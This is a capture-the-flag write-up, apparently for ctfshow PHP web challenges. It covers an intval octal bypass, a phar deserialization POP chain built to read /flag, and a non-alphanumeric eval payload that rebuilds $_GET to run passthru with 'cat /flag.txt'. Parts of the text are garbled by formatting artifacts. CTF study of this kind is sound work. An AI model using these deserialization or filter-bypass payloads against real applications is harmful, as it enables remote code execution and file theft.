Article directory
- warm up
- ATTup
-
- code audit
- phar deserialization
- shellme
- shellme_Revenge
Warm up
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-18 16:53:59 # @link: https://ctfer.com */ include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){<!-- --> $num = $_GET['num']; if($num==4476){<!-- --> die("no no no!"); } if(preg_match("/[a-z]|\./i", $num)){<!-- --> die("no no no!!"); } if(!strpos($num, "0")){<!-- --> die("no no no!!!"); } if(intval($num,0)===4476){<!-- --> echo $flag; } }
Check official documents
intval() function is used to get the integer value of a variable. The intval() function returns the integer value of the variable var converted using the specified base base (decimal by default). intval() cannot be used on object, otherwise it will generate an E_NOTICE error and return 1. PHP 4, PHP 5, PHP 7 grammar int intval ( mixed $var [, int $base = 10 ] ) Parameter Description: $var: the quantity value to convert to integer. $base: The base used for conversion. If base is 0, the base used is determined by checking the format of var: If the string includes a "0x" (or "0X") prefix, use hexadecimal (hex); otherwise, If the string starts with "0", use octal; otherwise, Decimal will be used.
?num= + 010574
ATTup
View the front-end source code to find the php file
upload.php find.php
Arbitrary file reading vulnerability, read find.php
<!--class View {<!-- --> public $fn; public function __invoke(){<!-- --> $text = base64_encode(file_get_contents($this->fn)); echo "<script>alert('".$text."');self.location=document.referrer;</script>"; } } class Fun{<!-- --> public $fun = ":)"; public function __toString(){<!-- --> $fuc = $this->fun; $fuc(); return "<script>alert('Be a happy string~');self.location=document.referrer;</script>"; } public function __destruct() {<!-- --> echo "<script>alert('Just a fun ".$this->fun."');self.location=document.referrer;</script>"; } } $filename = $_POST["file"]; $stat = @stat($filename);-->
Code Audit
stat
stat (PHP 4, PHP 5, PHP 7, PHP 8) stat - give information about a file Here you can trigger phar deserialization
phar deserialization
<?php class View {<!-- --> public $fn; public function __invoke(){<!-- --> // $text = base64_encode(file_get_contents($this->fn)); // echo "<script>alert('".$text."');self.location=document.referrer;</script>"; } } class Fun{<!-- --> public $fun = ":)"; public function __toString(){<!-- --> $fuc = $this->fun; $fuc(); return "1"; // return "<script>alert('Be a happy string~');self.location=document.referrer;</script>"; } public function __destruct() {<!-- --> // echo "<script>alert('Just a fun ".$this->fun."');self.location=document.referrer;</script>"; } } $a=new Fun(); $a->fun=new Fun(); $a->fun->fun=new View(); $a->fun->fun->fn="/flag"; @unlink("phar.phar"); $phar = new Phar("c2.phar"); $phar->startBuffering(); $phar->setStub('GIF89a'.' __HALT_COMPILER();'); //Set stub $phar->setMetadata($a); //Store custom meta-data into manifest $phar->addFromString("test.txt", "test"); //Add files to be compressed //Signature is automatically calculated $phar->stopBuffering();
Directly modify the suffix to tar
and
php
cannot appear in the line$phar->setStub
, otherwise it will prompt that the content is illegalThe basic structure of the stub:
, the stub must end with
__HALT_COMPILER();`, otherwise the Phar extension will not recognize the file.
Then access it with phar://c2.tar protocol
alert('Y3Rmc2hvd3szOWFmNDIzMi04MTQ2LTRiMzQtOGUwZS1lYmFiMGExZjY5N2R9Cg=='); Decode to get flag
shellme
Search flag directly to get flag, unexpected solution?
shellme_Revenge
Try to search for keywords such as ctfhsow, flag, ctf, hint, etc., and check information such as cookies
Set-Cookie hint=?looklook; expires=Sat, 20-May-2023 04:56:12 GMT; Max-Age=3600 PHP Version 7.2.34
?looklook=1 <?php error_reporting(0); if ($_GET['looklook']){<!-- --> highlight_file(__FILE__); }else{<!-- --> setcookie("hint", "?looklook", time() + 3600); } if (isset($_POST['ctf_show'])) {<!-- --> $ctfshow = $_POST['ctf_show']; if (is_string($ctfshow) || strlen($ctfshow) <= 107) {<!-- --> if (!preg_match("/[!@#%^ & amp;*:'"|`a-zA-BD-Z~\\]|[4-9] /",$ctfshow)){<!-- --> eval($ctfshow); }else{<!-- --> echo("fucccc hacker!!"); } } } else {<!-- --> phpinfo(); } ?>
Generate ascii corresponding visible characters
with open("ascii.txt","w") as f: for i in range(31,128): f.writelines(chr(i) + "\\ ")
Check out the regular content
<?php $myfile = fopen("ascii.txt", "r") or die("Unable to open file!"); while (!feof($myfile)) {<!-- --> $ctfshow=fgets($myfile); if (is_string($ctfshow) || strlen($ctfshow) <= 107) {<!-- --> if (!preg_match("/[!@#%^ & amp;*:'"|`a-zA-BD-Z~\\]|[4-9] /", $ctfshow)) {<!-- --> echo "$ctfshow"; } } } fclose($myfile);
first line is blank
$ ( ) + , - . / 0 1 2 3 ; < = ? C [ ] _ { }
Here try to execute commands by constructing arbitrary characters through + + and c
In PHP, if you forcibly concatenate an array and a string, the array will be converted to a string whose value is
Array
<?php $_=C; $_ + + ; //D $C= + + $_; //E $_ + + ; //F $C_= + + $_; //G $_=(C/C.C)[0]; //N $_ + + ; //O $_ + + ; //P $_ + + ; //Q $_ + + ; //R $_ + + ; //S $_=_.$C_.$C. + + $_; //_GET $$_[1]($$_[2]); //$_GET[1]($_GET[2]) ?> ctf_show=$_=C;$_ + + ;$C= + + $_;$_ + + ;$C_= + + $_;$_=(C/C.C)[0];$_ + + ; $_ + + ;$_ + + ;$_ + + ;$_ + + ;$_=_.$C_.$C. + + $_;$$_[1]($$_[2]) ; ctf_show=$_=C;$_++;$C=++$_;$_++;$C_=++$_;$_=(C/C.C)[0];$_++; $_++;$_++;$_++;$_++;$_=_.$C_.$C.++$_;$$_[1]($$_[2]) ;
?1=passthru & amp;2=cat /flag.txt ctf_show=$_=C;$_++;$C=++$_;$_++;$C_=++$_;$_=(C/C.C)[0];$_++; $_++;$_++;$_++;$_++;$_=_.$C_.$C.++$_;$$_[1]($$_[2]) ; ;$C=++$_;$_++;$C_=++$_;$_=(C/C.C)[0];$_++;$_++;$_++;$ _++;$_++;$_=_.$C_.$C.++$_;$$_[1]($$_[2]);